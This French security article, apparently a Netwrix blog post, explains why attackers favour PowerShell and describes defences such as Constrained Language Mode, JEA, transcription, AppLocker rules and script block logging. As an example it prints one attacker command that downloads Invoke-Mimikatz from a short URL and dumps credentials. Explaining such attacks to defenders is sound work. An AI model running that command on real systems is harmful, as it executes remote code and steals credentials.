Pourquoi PowerShell est-il si populaire auprès des attaquants ?

Pourquoi PowerShell est-il une plateforme d'attaque si populaire ?

Alors, pourquoi tant de cybercriminels utilisent-ils PowerShell pour lancer leurs attaques ? Eh bien, pour une chose, c'est gratuit. Parmi les autres raisons, on peut citer les suivantes :

• La plupart des utilisateurs professionnels ont PowerShell activé sur leurs appareils de point de terminaison Windows.
• PowerShell utilise une approche sans fichier qui exécute des commandes et des scripts directement en mémoire, ce qui rend sa détection difficile.
• Il peut accéder à presque n'importe quel appareil Windows en initiant une connexion à distance.
• Les acteurs de menaces peuvent exploiter PowerShell à l'aide d'autres outils malveillants tels que Empire, DeathStar et CrackMapExec.
• Il existe une multitude de scripts disponibles sur GitHub et d'autres endroits (tels que Invoke-Mimikatz) pour que les attaquants les utilisent.

Une fois qu'un attaquant obtient un accès initial dans un environnement sur site, il peut utiliser PowerShell pour gagner en visibilité sur votre réseau et se déplacer latéralement pour accéder à vos données les plus sensibles et autres ressources informatiques.

Comment réduire le risque lié à PowerShell

Étant donné que PowerShell est utilisé dans de nombreux types d'attaques différents, il est impératif de mettre en place des mesures de protection pour combattre son utilisation malveillante. Examinons certaines méthodes pour réduire le risque de menaces induites par PowerShell.

Restreindre les privilèges d'administrateur local

À l'ère du réseau Zero Trust, les utilisateurs standards ne devraient pas avoir de droits d'administrateur local sur leurs appareils à moins que cela ne soit nécessaire pour leur travail. Bien que refuser les droits d'administrateur local ne restreigne pas l'accès à PowerShell, cela limite ce qu'un utilisateur — ou un adversaire ayant compromis son compte — peut faire avec PowerShell car de nombreuses commandes et scripts PowerShell nécessitent des privilèges élevés pour fonctionner. De plus, refuser les droits d'administrateur local limitera l'accès d'un utilisateur aux dossiers sensibles et aux paramètres système.

Utilisez le mode de langue contrainte

Windows PowerShell prend en charge différents modes linguistiques qui déterminent les parties de PowerShell pouvant être utilisées. Le mode Langage Restreint a été développé pour le système d'exploitation Windows RT et a ensuite été ajouté à Windows PowerShell V5, utilisé aujourd'hui sur tous les systèmes d'exploitation Windows modernes.

Vous pouvez démarrer une session PowerShell en mode Langage Complet, comme indiqué ci-dessous :

Vous pouvez placer une session PowerShell en mode Langage Restreint avec la commande suivante :

En mode Langage Restreint, PowerShell est limité à un ensemble restreint de commandes et de scripts. L'exécution de commandes en dehors de ces restrictions est bloquée, comme le montre l'exemple ci-dessous :

Le mode Langage Restreint limite également l'accès à certaines fonctionnalités de PowerShell telles que l'utilisation de profils PowerShell et la capacité de charger des modules PowerShell supplémentaires. Collectivement, ces restrictions aident à empêcher les pirates d'utiliser PowerShell pour contourner les mesures de sécurité du système.

Malheureusement, il y a une faiblesse flagrante avec cette mesure de protection : Un utilisateur peut simplement démarrer une nouvelle session PowerShell, qui par défaut s'exécutera en mode Langage Complet et aura un accès complet aux fonctionnalités de PowerShell.

Utilisez PowerShell Just Enough Administration (JEA)

PowerShell Just Enough Administration vous permet d'appliquer un système basé sur les rôles pour les tâches administratives. Considérez JEA comme le principe de moindre privilège pour la sécurité de PowerShell. Lorsqu'un utilisateur commence une session JEA, il se voit attribuer une forme restreinte de PowerShell qui lui permet d'effectuer uniquement les tâches et commandes associées à son rôle. Cela l'empêche d'exécuter des commandes privilégiées dont il n'a pas besoin.

Activer JEA est un processus en plusieurs étapes. La première étape consiste à créer un fichier de compatibilité de rôle, comme indiqué ci-dessous :

Vous devez ensuite éditer le fichier .prsc et définir les capacités spécifiques du rôle, telles que permettre à l'utilisateur d'exécuter des commandes spécifiques. Les autres étapes comprennent la création d'un fichier de configuration de session puis l'utilisation de ce fichier pour enregistrer un nouveau point de terminaison JEA sur l'ordinateur local.

Gagnez en visibilité sur l'activité

Vous devez savoir ce qui se passe dans votre environnement informatique. Une option consiste à utiliser le transfert d'événements Windows (WEF), un outil gratuit du système d'exploitation Windows qui peut collecter et centraliser les journaux d'événements de systèmes distribués. Une autre approche serait une solution de gestion des informations et des événements de sécurité (SIEM). Les SIEM peuvent collecter des données d'une large collection de systèmes disparates et agréger ces données pour fournir une vue d'ensemble complète de ce qui se passe dans votre environnement.

Vous devriez également activer les transcriptions système de PowerShell, qui enregistreront toute l'activité PowerShell sur les systèmes désignés afin que les commandes exécutées puissent être examinées. Cela peut être utile pour les audits et les enquêtes judiciaires. Pour activer les transcriptions système de PowerShell, créez un Group Policy object (GPO), allez dans Configuration de l'ordinateur > Modèles d'administration > Composants Windows > PowerShell et activez Enable PowerShell Transcription comme indiqué ci-dessous :

Utilisez AppLocker pour désactiver PowerShell et les scripts

AppLocker est livré avec Windows 10 Enterprise et offre un moyen pratique d'autoriser les applications et les scripts. Il peut être configuré localement sur un système ou via Stratégie de groupe. Pour utiliser Stratégie de groupe, créez un objet de stratégie de groupe (GPO), allez dans Configuration de l'ordinateur > Paramètres Windows > Paramètres de sécurité > Stratégies de contrôle d'application > AppLocker. Créez une règle exécutable et sélectionnez Refuser comme indiqué ci-dessous :

Vous pouvez bloquer une application par éditeur, chemin de fichier ou empreinte de fichier. La politique d'exemple ci-dessous bloque par empreinte de fichier et autorise uniquement les administrateurs locaux à exécuter PowerShell ; l'accès par tout autre utilisateur sera bloqué.

Vous pouvez ensuite distribuer la politique à l'aide de Group Policy ou l'exporter sous forme de fichier XML et l'importer dans un MDM tel que Intune. Le code XML pour la politique exportée est présenté ci-dessous :

      <AppLockerPolicy Version="1">

<RuleCollection Type="Exe" EnforcementMode="NotConfigured">

<FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544" Action="Allow">

<Conditions>

<FilePathCondition Path="*" />

</Conditions>

</FilePathRule>

<FileHashRule Id="5d5ed1c5-a9db-4e46-8e88-80aade9dbb5c" Name="powershell.exe" Description="Block PowerShell" UserOrGroupSid="S-1-1-0" Action="Deny">

<Conditions>

<FileHashCondition>

<FileHash Type="SHA256" Data="0x68705285F7914823244E19E4F6DBC4A75C4DE807EA1CF128AEC2CCAFCE5FE109" SourceFileName="powershell.exe" SourceFileLength="448000" />

</FileHashCondition>

</Conditions>

</FileHashRule>

</RuleCollection>

<RuleCollection Type="Msi" EnforcementMode="NotConfigured" />

<RuleCollection Type="Script" EnforcementMode="NotConfigured" />

<RuleCollection Type="Dll" EnforcementMode="NotConfigured" />

<RuleCollection Type="Appx" EnforcementMode="NotConfigured" />

</AppLockerPolicy>
      

Vous pouvez également vous assurer que seuls les fichiers d'un dossier désigné peuvent être exécutés en utilisant des politiques de règles de script pour créer une règle d'autorisation pour un dossier spécifié à l'aide d'un script PowerShell simple comme celui-ci :

Détectez les scripts PowerShell malveillants avec la journalisation des blocs de script

PowerShell 5 introduit plusieurs nouvelles techniques pour suivre les scripts PowerShell malveillants. L'une d'elles est le Script Block Logging. Ce niveau de journalisation est activé par défaut avec PowerShell 5 et fournit une journalisation en clair du script complet exécuté par PowerShell. Cela est utile car de nombreuses attaques PowerShell tirent parti de scripts codés qui sont difficiles à déchiffrer.

Examinons une méthode qu'un attaquant pourrait utiliser pour dissimuler ses scripts, en employant un script comme celui-ci qui téléchargera et exécutera Invoke-Mimikatz:

powershell “IEX (New-Object Net.WebClient).DownloadString(‘http://is.gd/oeoFuI’); Invoke-Mimikatz -DumpCreds”

En utilisant PowerSploit et Out-EncodedCommand, un adversaire peut créer une version encodée de cette commande qui est encore plus obscurcie :

Cependant, les journaux d'événements PowerShell montrent toujours exactement ce qui a été exécuté, sans aucun codage :

Comment Netwrix peut aider

Alors que les organisations peuvent utiliser ces stratégies d'atténuation et de détection pour surveiller et se protéger contre les scripts malveillants, il existe des produits tiers qui simplifient la tâche. Netwrix Endpoint Privilege Manager facilite la création de listes d'autorisation et de blocage pour bloquer automatiquement les utilisateurs de l'exécution d'applications indésirables, y compris PowerShell. De plus, cet outil vous permet de supprimer les droits d'administrateur local tout en permettant toujours aux utilisateurs d'effectuer les tâches administratives nécessaires pour une haute productivité.

PowerShell est un outil puissant. Assurez-vous de prendre les précautions nécessaires pour éviter que les adversaires ne puissent l'utiliser si facilement contre vous.